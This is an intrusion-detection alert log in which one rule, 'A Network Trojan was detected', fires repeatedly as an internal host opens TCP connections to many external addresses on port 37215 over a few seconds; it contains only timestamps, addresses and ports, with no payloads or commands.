2024-12-30T11:58:42.529797+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50154	156.244.7.50	37215	TCP
2024-12-30T11:58:42.529838+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46400	197.207.214.210	37215	TCP
2024-12-30T11:58:42.530040+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36400	41.248.124.227	37215	TCP
2024-12-30T11:58:42.530130+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52788	197.177.96.18	37215	TCP
2024-12-30T11:58:42.530250+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34800	41.50.160.205	37215	TCP
2024-12-30T11:58:42.530344+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44662	156.8.114.88	37215	TCP
2024-12-30T11:58:42.531543+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53838	41.24.180.14	37215	TCP
2024-12-30T11:58:42.531553+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60172	41.85.155.234	37215	TCP
2024-12-30T11:58:42.588778+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60404	156.146.206.64	37215	TCP
2024-12-30T11:58:42.686823+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37088	156.253.83.65	37215	TCP
2024-12-30T11:58:42.738130+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57446	197.232.90.163	37215	TCP
2024-12-30T11:58:43.224559+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47840	41.223.55.11	37215	TCP
2024-12-30T11:58:43.526383+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48402	41.103.149.191	37215	TCP
2024-12-30T11:58:43.557501+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37048	197.54.101.171	37215	TCP
2024-12-30T11:58:43.557503+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49076	41.86.190.212	37215	TCP
2024-12-30T11:58:43.557547+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34086	41.165.83.64	37215	TCP
2024-12-30T11:58:43.557702+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40090	197.58.186.235	37215	TCP
2024-12-30T11:58:43.557705+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47998	41.231.27.129	37215	TCP
2024-12-30T11:58:43.557759+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39656	156.77.94.69	37215	TCP
2024-12-30T11:58:43.557866+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40334	41.210.160.149	37215	TCP
2024-12-30T11:58:43.557919+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34560	197.235.180.81	37215	TCP
2024-12-30T11:58:43.557961+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44100	41.134.233.79	37215	TCP
2024-12-30T11:58:43.558069+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41738	41.148.146.172	37215	TCP
2024-12-30T11:58:43.558127+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57096	41.89.172.123	37215	TCP
2024-12-30T11:58:43.558261+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41078	197.55.169.136	37215	TCP
2024-12-30T11:58:43.558268+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53442	197.236.38.125	37215	TCP
2024-12-30T11:58:43.558359+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36834	197.192.111.249	37215	TCP
2024-12-30T11:58:43.558394+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45896	41.66.194.59	37215	TCP
2024-12-30T11:58:43.558825+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58592	41.225.31.136	37215	TCP
2024-12-30T11:58:43.558954+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48740	41.206.143.36	37215	TCP
2024-12-30T11:58:43.559153+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42276	156.253.170.144	37215	TCP
2024-12-30T11:58:43.559466+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47800	197.34.17.251	37215	TCP
2024-12-30T11:58:43.559583+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44094	41.208.132.221	37215	TCP
2024-12-30T11:58:43.561134+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49954	156.105.221.57	37215	TCP
2024-12-30T11:58:43.561189+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50260	41.27.176.202	37215	TCP
2024-12-30T11:58:43.561684+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33340	156.28.54.99	37215	TCP
2024-12-30T11:58:43.561767+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51564	156.2.169.10	37215	TCP
2024-12-30T11:58:43.562790+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34948	156.62.171.232	37215	TCP
2024-12-30T11:58:43.562829+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40118	41.202.122.238	37215	TCP
2024-12-30T11:58:43.562855+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53872	156.168.226.63	37215	TCP
2024-12-30T11:58:43.563305+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44646	41.200.1.33	37215	TCP
2024-12-30T11:58:43.588690+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37210	41.9.53.247	37215	TCP
2024-12-30T11:58:43.594229+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43186	41.208.189.15	37215	TCP
2024-12-30T11:58:43.594229+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40482	156.192.121.47	37215	TCP
2024-12-30T11:58:43.639360+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48854	197.183.125.247	37215	TCP
2024-12-30T11:58:43.887220+0100	2835222	1	A Network Trojan was detected	192.168.2.13	32840	41.174.67.162	37215	TCP
2024-12-30T11:58:44.195843+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33518	156.224.67.147	37215	TCP
2024-12-30T11:58:44.573241+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42904	197.199.168.25	37215	TCP
2024-12-30T11:58:44.574590+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58832	156.99.120.69	37215	TCP
2024-12-30T11:58:44.574597+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58310	41.145.133.199	37215	TCP
2024-12-30T11:58:44.594487+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59494	197.120.177.20	37215	TCP
2024-12-30T11:58:44.639308+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59148	156.233.107.211	37215	TCP
2024-12-30T11:58:44.682955+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34094	41.66.13.141	37215	TCP
2024-12-30T11:58:45.573321+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48608	156.94.151.112	37215	TCP
2024-12-30T11:58:45.574844+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44760	41.134.126.76	37215	TCP
2024-12-30T11:58:45.588245+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42452	41.134.96.81	37215	TCP
2024-12-30T11:58:45.588785+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42728	156.108.139.54	37215	TCP
2024-12-30T11:58:45.588936+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50808	156.64.115.47	37215	TCP
2024-12-30T11:58:45.588946+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35338	197.90.181.121	37215	TCP
2024-12-30T11:58:45.588979+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34848	41.91.210.30	37215	TCP
2024-12-30T11:58:45.589005+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58290	197.40.46.8	37215	TCP
2024-12-30T11:58:45.589043+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46420	41.227.216.26	37215	TCP
2024-12-30T11:58:45.589140+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50598	41.14.103.9	37215	TCP
2024-12-30T11:58:45.590203+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45838	41.10.119.221	37215	TCP
2024-12-30T11:58:45.590434+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51274	156.2.230.25	37215	TCP
2024-12-30T11:58:45.590456+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53364	156.70.210.247	37215	TCP
2024-12-30T11:58:45.590580+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56742	41.86.219.254	37215	TCP
2024-12-30T11:58:45.590663+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39296	156.1.228.240	37215	TCP
2024-12-30T11:58:45.590713+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47752	197.195.233.193	37215	TCP
2024-12-30T11:58:45.590821+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33172	41.66.89.98	37215	TCP
2024-12-30T11:58:45.591109+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48462	156.217.252.48	37215	TCP
2024-12-30T11:58:45.592294+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42864	156.172.214.75	37215	TCP
2024-12-30T11:58:45.592948+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54448	41.61.11.167	37215	TCP
2024-12-30T11:58:45.593231+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55928	41.2.225.34	37215	TCP
2024-12-30T11:58:45.593359+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36894	156.68.179.165	37215	TCP
2024-12-30T11:58:45.594174+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55940	156.240.199.47	37215	TCP
2024-12-30T11:58:45.594700+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55256	197.96.199.105	37215	TCP
2024-12-30T11:58:45.609850+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55366	41.207.171.211	37215	TCP
2024-12-30T11:58:45.609867+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51592	41.63.84.157	37215	TCP
2024-12-30T11:58:45.623797+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45872	156.159.246.196	37215	TCP
2024-12-30T11:58:46.604090+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44162	156.178.23.198	37215	TCP
2024-12-30T11:58:46.604248+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35962	156.235.183.73	37215	TCP
2024-12-30T11:58:46.604415+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44734	197.123.231.57	37215	TCP
2024-12-30T11:58:46.604440+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37518	197.25.126.73	37215	TCP
2024-12-30T11:58:46.604508+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56128	197.35.227.113	37215	TCP
2024-12-30T11:58:46.604577+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37298	156.136.166.93	37215	TCP
2024-12-30T11:58:46.604658+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51086	156.213.173.61	37215	TCP
2024-12-30T11:58:46.604772+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33486	156.27.26.80	37215	TCP
2024-12-30T11:58:46.605249+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48268	156.101.93.173	37215	TCP
2024-12-30T11:58:46.605843+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59092	41.2.101.30	37215	TCP
2024-12-30T11:58:46.605919+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60444	41.50.98.211	37215	TCP
2024-12-30T11:58:46.606152+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56276	197.198.222.62	37215	TCP
2024-12-30T11:58:46.606182+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37298	156.149.1.195	37215	TCP
2024-12-30T11:58:46.619967+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51818	156.18.220.15	37215	TCP
2024-12-30T11:58:46.620203+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41998	197.233.16.66	37215	TCP
2024-12-30T11:58:46.620216+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47692	41.227.197.11	37215	TCP
2024-12-30T11:58:46.620254+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59386	197.88.12.46	37215	TCP
2024-12-30T11:58:46.621645+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46610	41.106.240.124	37215	TCP
2024-12-30T11:58:46.621720+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44714	41.198.67.237	37215	TCP
2024-12-30T11:58:46.621993+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40778	197.98.0.180	37215	TCP
2024-12-30T11:58:46.623953+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36018	41.89.50.251	37215	TCP
2024-12-30T11:58:46.625467+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45094	156.197.55.202	37215	TCP
2024-12-30T11:58:46.625559+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44156	41.239.54.242	37215	TCP
2024-12-30T11:58:46.625686+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39968	156.115.28.167	37215	TCP
2024-12-30T11:58:46.651508+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47566	197.53.230.42	37215	TCP
2024-12-30T11:58:46.654951+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48860	41.78.133.195	37215	TCP
2024-12-30T11:58:46.656694+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42338	156.29.107.148	37215	TCP
2024-12-30T11:58:47.455349+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43390	41.34.22.77	37215	TCP
2024-12-30T11:58:47.496993+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56902	41.35.82.102	37215	TCP
2024-12-30T11:58:47.637504+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54996	41.180.218.10	37215	TCP
2024-12-30T11:58:47.637505+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59886	156.149.3.13	37215	TCP
2024-12-30T11:58:47.637521+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47066	156.128.97.196	37215	TCP
2024-12-30T11:58:47.639470+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34716	41.184.139.38	37215	TCP
2024-12-30T11:58:47.651125+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60548	197.95.37.185	37215	TCP
2024-12-30T11:58:47.651129+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36684	156.0.193.214	37215	TCP
2024-12-30T11:58:47.651206+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54740	197.57.60.218	37215	TCP
2024-12-30T11:58:47.652743+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33148	156.25.19.46	37215	TCP
2024-12-30T11:58:47.655006+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55852	41.33.52.212	37215	TCP
2024-12-30T11:58:47.714003+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46426	156.166.114.199	37215	TCP
2024-12-30T11:58:47.803251+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55178	197.8.117.2	37215	TCP
2024-12-30T11:58:47.900486+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48428	197.234.6.136	37215	TCP
2024-12-30T11:58:48.635855+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33490	156.113.9.117	37215	TCP
2024-12-30T11:58:48.650945+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41804	41.2.52.205	37215	TCP
2024-12-30T11:58:48.651129+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43674	41.155.1.218	37215	TCP
2024-12-30T11:58:48.651291+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54072	41.73.228.216	37215	TCP
2024-12-30T11:58:48.651494+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60814	197.28.110.43	37215	TCP
2024-12-30T11:58:48.651502+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41902	156.243.193.52	37215	TCP
2024-12-30T11:58:48.651581+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33478	156.56.182.213	37215	TCP
2024-12-30T11:58:48.651664+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46082	156.179.246.227	37215	TCP
2024-12-30T11:58:48.651767+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54890	197.60.174.217	37215	TCP
2024-12-30T11:58:48.651846+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58678	197.205.74.129	37215	TCP
2024-12-30T11:58:48.651945+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44924	156.248.83.46	37215	TCP
2024-12-30T11:58:48.652060+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50642	41.3.214.26	37215	TCP
2024-12-30T11:58:48.652142+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37900	197.231.101.2	37215	TCP
2024-12-30T11:58:48.652232+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39492	156.7.190.111	37215	TCP
2024-12-30T11:58:48.652276+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33642	41.136.206.6	37215	TCP
2024-12-30T11:58:48.652513+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56116	41.99.76.103	37215	TCP
2024-12-30T11:58:48.652530+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48128	41.109.142.171	37215	TCP
2024-12-30T11:58:48.652919+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56322	41.89.183.178	37215	TCP
2024-12-30T11:58:48.653138+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38014	41.165.34.137	37215	TCP
2024-12-30T11:58:48.653236+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45750	156.22.133.92	37215	TCP
2024-12-30T11:58:48.653346+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43068	156.19.60.98	37215	TCP
2024-12-30T11:58:48.656793+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53272	156.59.71.133	37215	TCP
2024-12-30T11:58:48.657385+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56210	156.94.153.188	37215	TCP
2024-12-30T11:58:48.666955+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42962	197.116.253.150	37215	TCP
2024-12-30T11:58:48.666955+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52866	156.172.106.169	37215	TCP
2024-12-30T11:58:48.667041+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48212	156.153.165.23	37215	TCP
2024-12-30T11:58:48.667602+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34756	197.11.104.197	37215	TCP
2024-12-30T11:58:48.668594+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40180	156.19.78.52	37215	TCP
2024-12-30T11:58:48.668640+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54924	41.140.20.94	37215	TCP
2024-12-30T11:58:48.670531+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59550	41.162.19.168	37215	TCP
2024-12-30T11:58:48.670644+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39186	156.79.205.137	37215	TCP
2024-12-30T11:58:48.670679+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48366	156.216.134.88	37215	TCP
2024-12-30T11:58:48.670866+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50506	156.94.222.149	37215	TCP
2024-12-30T11:58:48.670966+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47206	197.42.13.248	37215	TCP
2024-12-30T11:58:48.671036+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35802	41.12.22.144	37215	TCP
2024-12-30T11:58:48.671129+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59308	156.35.81.24	37215	TCP
2024-12-30T11:58:48.672386+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37370	41.41.2.134	37215	TCP
2024-12-30T11:58:48.672521+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60894	156.18.213.63	37215	TCP
2024-12-30T11:58:48.672598+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58768	197.198.231.144	37215	TCP
2024-12-30T11:58:48.693068+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52970	156.237.88.158	37215	TCP
2024-12-30T11:58:48.699853+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41118	197.167.175.4	37215	TCP
2024-12-30T11:58:49.465639+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45530	156.246.134.127	37215	TCP
2024-12-30T11:58:49.698316+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47956	156.123.116.228	37215	TCP
2024-12-30T11:58:49.698317+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49934	156.111.118.218	37215	TCP
2024-12-30T11:58:49.698328+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49940	197.37.239.64	37215	TCP
2024-12-30T11:58:49.698330+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34398	41.119.58.38	37215	TCP
2024-12-30T11:58:49.698335+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37484	156.111.247.74	37215	TCP
2024-12-30T11:58:49.698432+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41688	197.127.247.21	37215	TCP
2024-12-30T11:58:49.698554+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49044	41.72.115.78	37215	TCP
2024-12-30T11:58:49.698582+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37496	41.16.27.215	37215	TCP
2024-12-30T11:58:49.698645+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39144	41.231.15.213	37215	TCP
2024-12-30T11:58:49.698749+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53400	197.195.242.255	37215	TCP
2024-12-30T11:58:49.698817+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34590	41.126.239.10	37215	TCP
2024-12-30T11:58:49.698871+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57022	41.228.215.253	37215	TCP
2024-12-30T11:58:49.698985+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40368	41.229.111.110	37215	TCP
2024-12-30T11:58:49.699007+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52840	197.187.182.25	37215	TCP
2024-12-30T11:58:49.699079+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34532	197.73.248.106	37215	TCP
2024-12-30T11:58:49.699178+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53460	41.70.6.53	37215	TCP
2024-12-30T11:58:49.699469+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37090	41.95.158.182	37215	TCP
2024-12-30T11:58:49.699556+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48844	41.194.58.156	37215	TCP
2024-12-30T11:58:49.699698+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49990	156.110.211.163	37215	TCP
2024-12-30T11:58:49.699723+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34264	41.160.22.58	37215	TCP
2024-12-30T11:58:49.699787+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48664	197.172.166.131	37215	TCP
2024-12-30T11:58:49.699802+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46566	197.246.87.89	37215	TCP
2024-12-30T11:58:49.699889+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54374	156.188.32.93	37215	TCP
2024-12-30T11:58:49.699973+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42094	197.228.39.167	37215	TCP
2024-12-30T11:58:49.700019+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57044	41.86.52.12	37215	TCP
2024-12-30T11:58:49.700082+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51214	197.245.244.226	37215	TCP
2024-12-30T11:58:49.700177+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57222	41.111.198.235	37215	TCP
2024-12-30T11:58:49.700259+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44962	197.172.39.79	37215	TCP
2024-12-30T11:58:49.700278+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57978	156.211.170.7	37215	TCP
2024-12-30T11:58:49.700365+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55854	197.18.163.120	37215	TCP
2024-12-30T11:58:49.700430+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34022	156.200.175.160	37215	TCP
2024-12-30T11:58:49.700495+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47792	197.179.6.66	37215	TCP
2024-12-30T11:58:49.700576+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50622	41.61.59.163	37215	TCP
2024-12-30T11:58:49.700625+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48426	41.111.188.116	37215	TCP
2024-12-30T11:58:49.700685+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46566	41.158.94.8	37215	TCP
2024-12-30T11:58:49.700753+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34522	197.144.146.160	37215	TCP
2024-12-30T11:58:49.700813+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33204	156.138.205.78	37215	TCP
2024-12-30T11:58:49.700886+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44654	41.101.209.142	37215	TCP
2024-12-30T11:58:49.700958+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48920	197.79.212.81	37215	TCP
2024-12-30T11:58:49.701039+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56874	41.81.22.42	37215	TCP
2024-12-30T11:58:49.701114+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34554	41.161.6.151	37215	TCP
2024-12-30T11:58:49.701230+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44776	41.73.33.170	37215	TCP
2024-12-30T11:58:49.701243+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33124	156.41.20.6	37215	TCP
2024-12-30T11:58:49.701266+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40728	41.145.34.226	37215	TCP
2024-12-30T11:58:49.701422+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42234	41.109.150.188	37215	TCP
2024-12-30T11:58:49.701431+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54688	41.62.183.103	37215	TCP
2024-12-30T11:58:49.701653+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46952	197.115.238.73	37215	TCP
2024-12-30T11:58:49.701820+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57614	41.98.168.79	37215	TCP
2024-12-30T11:58:49.701865+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52170	197.58.27.16	37215	TCP
2024-12-30T11:58:49.702065+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46948	197.91.62.105	37215	TCP
2024-12-30T11:58:49.702640+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45306	41.145.214.127	37215	TCP
2024-12-30T11:58:49.702695+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56588	41.107.192.196	37215	TCP
2024-12-30T11:58:49.703352+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41376	41.163.218.184	37215	TCP
2024-12-30T11:58:49.703690+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60366	41.207.125.218	37215	TCP
2024-12-30T11:58:49.703834+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53262	156.33.179.163	37215	TCP
2024-12-30T11:58:49.704013+0100	2835222	1	A Network Trojan was detected	192.168.2.13	32872	197.11.103.244	37215	TCP
2024-12-30T11:58:49.704209+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52682	197.55.152.77	37215	TCP
2024-12-30T11:58:49.705080+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48158	197.223.23.44	37215	TCP
2024-12-30T11:58:49.986236+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34714	197.9.213.163	37215	TCP
2024-12-30T11:58:50.697811+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44948	156.143.91.125	37215	TCP
2024-12-30T11:58:50.698099+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51520	156.189.8.34	37215	TCP
2024-12-30T11:58:50.698120+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36464	156.113.100.28	37215	TCP
2024-12-30T11:58:50.698152+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56290	197.214.60.248	37215	TCP
2024-12-30T11:58:50.698157+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56228	156.218.201.123	37215	TCP
2024-12-30T11:58:50.699693+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38890	156.28.240.204	37215	TCP
2024-12-30T11:58:50.699952+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41044	197.122.30.95	37215	TCP
2024-12-30T11:58:50.715575+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54138	156.53.64.27	37215	TCP
2024-12-30T11:58:50.715671+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44066	156.148.18.165	37215	TCP
2024-12-30T11:58:50.715703+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53336	197.80.35.128	37215	TCP
2024-12-30T11:58:50.717413+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33742	197.233.88.97	37215	TCP
2024-12-30T11:58:50.717497+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57658	197.12.166.179	37215	TCP
2024-12-30T11:58:50.719273+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43096	41.22.213.82	37215	TCP
2024-12-30T11:58:50.731027+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46724	197.203.202.245	37215	TCP
2024-12-30T11:58:50.733160+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60608	41.50.254.104	37215	TCP
2024-12-30T11:58:51.172723+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46584	41.197.156.105	37215	TCP
2024-12-30T11:58:51.172726+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36134	197.232.54.224	37215	TCP
2024-12-30T11:58:51.730320+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33688	156.174.61.92	37215	TCP
2024-12-30T11:58:51.730371+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35106	156.19.83.163	37215	TCP
